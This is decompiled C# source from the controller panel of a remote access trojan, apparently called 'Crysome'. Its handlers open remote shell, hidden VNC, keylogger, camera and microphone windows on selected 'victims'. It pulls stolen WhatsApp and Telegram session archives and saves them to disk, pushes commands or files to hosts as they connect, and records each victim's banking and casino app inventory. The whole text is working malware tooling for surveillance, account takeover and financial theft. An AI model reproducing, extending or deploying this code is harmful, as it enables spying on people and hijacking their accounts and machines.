try
{
client.SendPacket((IPacket)new RdpSetQualityPacket(quality, intervalMs));
}
catch
{
}
if (!_rdpQualityCallbacks.TryGetValue(client, out var cb))
{
return;
}
Application current = Application.Current;
if (current == null)
{
return;
}
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
if (dispatcher != null)
{
dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(quality);
}, Array.Empty<object>());
}
}
private void HandleScreensResponse(CrysomeClient sender, IPacket packet)
{
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
//IL_0034: Expected O, but got Unknown
if (_screensCallbacks.TryGetValue(sender, out var cb))
{
_screensCallbacks.Remove(sender);
ScreensResponsePacket p = (ScreensResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p);
}, Array.Empty<object>());
}
}
private ClientInfo GetSingleClient()
{
if (_selectedClients.Count == 1)
{
return _selectedClients[0];
}
if (SelectedClient != null)
{
return SelectedClient;
}
return null;
}
private void DoProcessManager()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
ProcessManagerWindow processManagerWindow = new ProcessManagerWindow(singleClient, this);
((Window)(object)processManagerWindow).Owner = Application.Current.MainWindow;
((Window)(object)processManagerWindow).Show();
}
private void DoRemoteShell()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
RemoteShellWindow remoteShellWindow = new RemoteShellWindow(singleClient, this);
((Window)(object)remoteShellWindow).Owner = Application.Current.MainWindow;
((Window)(object)remoteShellWindow).Show();
}
private void DoRemoteAudio()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
Log("RemoteAudioWindow OPEN for " + singleClient.Address, "MIC");
RemoteAudioWindow remoteAudioWindow = new RemoteAudioWindow(singleClient, this);
((Window)(object)remoteAudioWindow).Owner = Application.Current.MainWindow;
((Window)(object)remoteAudioWindow).Show();
}
private void DoRemoteCamera()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
Log("RemoteCameraWindow OPEN for " + singleClient.Address, "CAM");
RemoteCameraWindow remoteCameraWindow = new RemoteCameraWindow(singleClient, this);
((Window)(object)remoteCameraWindow).Owner = Application.Current.MainWindow;
((Window)(object)remoteCameraWindow).Show();
}
private void DoRemoteDesktop()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
RemoteDesktopWindow obj = new RemoteDesktopWindow(singleClient, this)
{
Owner = Application.Current.MainWindow
};
ActiveRdpCount++;
((Window)(object)obj).Closed += delegate
{
if (ActiveRdpCount > 0)
{
ActiveRdpCount--;
}
};
((Window)(object)obj).Show();
}
private void DoHvnc()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
HvncWindow obj = new HvncWindow(singleClient, this)
{
Owner = Application.Current.MainWindow
};
ActiveHvncCount++;
((Window)(object)obj).Closed += delegate
{
if (ActiveHvncCount > 0)
{
ActiveHvncCount--;
}
};
((Window)(object)obj).Show();
}
private void DoKeylogger()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
KeyloggerWindow keyloggerWindow = new KeyloggerWindow(singleClient, this);
((Window)(object)keyloggerWindow).Owner = Application.Current.MainWindow;
((Window)(object)keyloggerWindow).Show();
}
private void DoRemoteChat()
{
ClientInfo singleClient = GetSingleClient();
if (singleClient?.Owner == null)
{
EnqueueStatus("Select one client");
return;
}
RemoteChatWindow remoteChatWindow = new RemoteChatWindow(singleClient, this);
((Window)(object)remoteChatWindow).Owner = Application.Current.MainWindow;
((Window)(object)remoteChatWindow).Show();
}
private void DoOpenFileManager()
{
if (_selectedClients.Count != 1)
{
MessageBox.Show("File Manager requires exactly one client to be selected.\n\nPlease select a single victim and try again.", "One client required", MessageBoxButton.OK, MessageBoxImage.Asterisk);
}
else
{
_mainViewModel.GoToFileExplorer(server, _selectedClients[0]);
}
}
private void RunOnConnectTasks(CrysomeClient client)
{
//IL_005c: Unknown result type (might be due to invalid IL or missing references)
//IL_0066: Expected O, but got Unknown
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
//IL_00aa: Expected O, but got Unknown
foreach (AutoTask autoTask in store.AutoTasks)
{
if (autoTask.Time != "Always" || autoTask.Date != "Always")
{
continue;
}
try
{
if (autoTask.Kind == "OnConnect")
{
client.SendPacket((IPacket)new RunCommandRequestPacket(autoTask.Param));
}
else if (autoTask.Kind == "OnConnectFile" && File.Exists(autoTask.Param))
{
byte[] array = File.ReadAllBytes(autoTask.Param);
client.SendPacket((IPacket)new FileTransferRequestPacket(Path.GetFileName(autoTask.Param), array));
}
}
catch
{
}
}
}
private void LogEntries_Filter(object sender, FilterEventArgs e)
{
if (!(e.Item is LogLineEntry logLineEntry))
{
e.Accepted = false;
return;
}
if (_logCategoryHide.Count == 0)
{
e.Accepted = true;
return;
}
string text = logLineEntry.Category ?? "";
e.Accepted = string.IsNullOrEmpty(text) || !_logCategoryHide.Contains(text);
}
private void DoWhatsAppSession()
{
//IL_0053: Unknown result type (might be due to invalid IL or missing references)
//IL_005d: Expected O, but got Unknown
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo?.Owner == null)
{
EnqueueStatus("Select a client");
return;
}
string address = clientInfo.Address;
Log("Requesting WhatsApp session from " + address, "WHATSAPP");
try
{
clientInfo.Owner.SendPacket((IPacket)new WhatsAppSessionRequestPacket());
}
catch (Exception ex)
{
Log("WhatsApp request failed " + address + ": " + ex.Message, "SYS");
}
}
private void HandleWhatsAppSessionResponse(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
WhatsAppSessionResponsePacket p = (WhatsAppSessionResponsePacket)packet;
string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X");
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
if (!p.Success || p.ZipData == null || p.ZipData.Length == 0)
{
string text = (string.IsNullOrEmpty(p.ErrorMessage) ? "No session data." : p.ErrorMessage);
Log("WhatsApp session from " + addr + ": " + text, "WHATSAPP");
MessageBox.Show("WhatsApp session error:\n" + text, "WhatsApp Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
}
else
{
Log($"WhatsApp session from {addr}: {p.ZipData.Length:N0} bytes received", "WHATSAPP");
string value = string.Concat((addr ?? "client").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Title = "Save WhatsApp Session",
Filter = "ZIP Archive|*.zip",
FileName = $"WhatsApp_{value}_{DateTime.Now:yyyyMMdd_HHmmss}.zip"
};
if (saveFileDialog.ShowDialog() == true)
{
try
{
File.WriteAllBytes(saveFileDialog.FileName, p.ZipData);
Log("WhatsApp session saved: " + saveFileDialog.FileName, "WHATSAPP");
new WhatsAppSessionWindow(saveFileDialog.FileName, addr, p.ZipData.Length).Show();
}
catch (Exception ex)
{
MessageBox.Show("Failed to save: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
}
}
}
});
}
private void DoTelegramSession()
{
//IL_0052: Unknown result type (might be due to invalid IL or missing references)
//IL_005c: Expected O, but got Unknown
List<ClientInfo> list = SelectedClients.ToList();
if (!list.Any())
{
MessageBox.Show("No client selected.", "Telegram Session");
return;
}
foreach (ClientInfo item in list)
{
string text = item?.Address ?? "?";
try
{
item.Owner.SendPacket((IPacket)new TelegramSessionRequestPacket());
Log("Telegram session requested from " + text, "TELEGRAM");
}
catch (Exception ex)
{
Log("Telegram request failed " + text + ": " + ex.Message, "SYS");
}
}
}
private void HandleTelegramSessionResponse(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
TelegramSessionResponsePacket p = (TelegramSessionResponsePacket)packet;
string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X");
string userName = (string.IsNullOrWhiteSpace(p.UserName) ? addr : p.UserName);
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
if (!string.IsNullOrEmpty(p.Error))
{
Log("Telegram session from " + addr + ": " + p.Error, "TELEGRAM");
MessageBox.Show("Telegram session error:\n" + p.Error, "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
}
else
{
if (p.ZipBytes != null && p.ZipBytes.Length != 0)
{
Log($"Telegram session from {addr} ({userName}): {p.ZipBytes.Length:N0} bytes received", "TELEGRAM");
try
{
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "telegram");
Directory.CreateDirectory(text);
string text2 = string.Concat(userName.Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
if (string.IsNullOrWhiteSpace(text2))
{
text2 = addr.Replace(".", "_").Replace(":", "_");
}
string path = text2 + "_tdata.zip";
string text3 = Path.Combine(text, path);
File.WriteAllBytes(text3, p.ZipBytes);
Log("Telegram session saved: " + text3, "TELEGRAM");
MessageBox.Show($"Telegram tdata saved!\n\nFile: {text3}\nSize: {p.ZipBytes.Length:N0} bytes", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Asterisk);
return;
}
catch (Exception ex)
{
Log("Telegram session save error: " + ex.Message, "SYS");
MessageBox.Show("Failed to save tdata: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
return;
}
}
Log("Telegram session from " + addr + ": no data received.", "TELEGRAM");
MessageBox.Show("No Telegram session data received.", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
}
});
}
private void DoExportLog()
{
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Filter = "Log|*.log",
FileName = "activity.log"
};
if (saveFileDialog.ShowDialog() == true)
{
File.WriteAllLines(saveFileDialog.FileName, LogEntries.Select((LogLineEntry x) => x.ToString()));
Log("Log exported to " + saveFileDialog.FileName, "SYS");
}
}
public void Log(string msg, string category = "")
{
if (store.Settings.LogPaused)
{
return;
}
LogLineEntry entry = new LogLineEntry
{
TimeText = DateTime.Now.ToString("HH:mm:ss"),
Category = (category ?? ""),
Message = msg
};
string text = entry.ToString();
Application current = Application.Current;
if (((current != null) ? ((DispatcherObject)current).Dispatcher : null) != null)
{
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
LogEntries.Add(entry);
while (LogEntries.Count > 5000)
{
LogEntries.RemoveAt(0);
}
});
}
if (!store.Settings.LogToFile)
{
return;
}
try
{
File.AppendAllText(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "activity.log"), text + Environment.NewLine);
}
catch
{
}
}
private string PromptInput(string title, string prompt, string defaultValue = "")
{
Window dlg = new Window
{
Title = title,
Width = 420.0,
Height = 160.0,
WindowStartupLocation = WindowStartupLocation.CenterOwner,
Owner = Application.Current.MainWindow,
ResizeMode = ResizeMode.NoResize
};
StackPanel stackPanel = new StackPanel
{
Margin = new Thickness(12.0)
};
stackPanel.Children.Add(new TextBlock
{
Text = prompt
});
TextBox textBox = new TextBox
{
Text = defaultValue,
Margin = new Thickness(0.0, 8.0, 0.0, 8.0)
};
stackPanel.Children.Add(textBox);
Button button = new Button
{
Content = "OK",
Width = 80.0,
HorizontalAlignment = HorizontalAlignment.Right
};
button.Click += delegate
{
dlg.DialogResult = true;
dlg.Close();
};
stackPanel.Children.Add(button);
dlg.Content = stackPanel;
textBox.Focus();
if (dlg.ShowDialog() != true)
{
return null;
}
return textBox.Text;
}
private void RouteReadFileResponse(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
ReadFileResponsePacket val = (ReadFileResponsePacket)packet;
if (val.TransferId != 0L && _pendingReadFileResponses.TryRemove((sender, val.TransferId), out var value))
{
value(val);
}
}
private void RouteWriteFileResponse(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
WriteFileResponsePacket val = (WriteFileResponsePacket)packet;
if (val.TransferId != 0L && _pendingWriteFileResponses.TryRemove((sender, val.TransferId), out var value))
{
value(val);
}
}
private void RouteGetDirectoryResponse(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
GetDirectoryResponsePacket val = (GetDirectoryResponsePacket)packet;
FileExplorerViewModel value2;
if (val.RequestId != 0L && _pendingGetDirectoryResponses.TryRemove((sender, val.RequestId), out var value))
{
value(val);
}
else if (_activeFileExplorers.TryGetValue(sender, out value2))
{
value2.ApplyGetDirectoryResponse(val);
}
}
private void RouteGetDrivesResponse(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
GetDrivesResponsePacket val = (GetDrivesResponsePacket)packet;
FileExplorerViewModel value2;
if (val.RequestId != 0L && _pendingGetDrivesResponses.TryRemove((sender, val.RequestId), out var value))
{
value(val);
}
else if (_activeFileExplorers.TryGetValue(sender, out value2))
{
value2.ApplyGetDrivesResponse(val);
}
}
private void RouteNotifyStatus(CrysomeClient sender, IPacket packet)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Expected O, but got Unknown
NotifyStatusResponsePacket p = (NotifyStatusResponsePacket)packet;
if (_activeFileExplorers.TryGetValue(sender, out var value))
{
value.ApplyNotifyStatus(p);
return;
}
Application current = Application.Current;
if (current != null)
{
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
EnqueueStatus(p.StatusMessage);
}, Array.Empty<object>());
}
}
private void HandleClientInventoryReport(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
ClientInventoryReportPacket p = (ClientInventoryReportPacket)packet;
Application current = Application.Current;
if (current == null)
{
return;
}
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
if (clientInfo != null)
{
clientInfo.ApplyInventoryJson(p.AppsJson, p.BankJson, p.CasinoJson);
store.UpsertClient(new StoredClientRecord
{
Address = clientInfo.Address,
Port = clientInfo.Port,
UserName = (clientInfo.Username ?? ""),
ComputerName = (clientInfo.ComputerName ?? ""),
OS = (clientInfo.OS ?? ""),
CountryCode = (clientInfo.CountryCode ?? ""),
Group = (clientInfo.Group ?? ""),
Notes = (clientInfo.Notes ?? ""),
IsPinned = clientInfo.IsPinned,
LastSeen = DateTime.Now,
AppsInventoryJson = (p.AppsJson ?? ""),
BankInventoryJson = (p.BankJson ?? ""),
CasinoInventoryJson = (p.CasinoJson ?? "")
});
store.SaveClients();
}
}, Array.Empty<object>());
}
}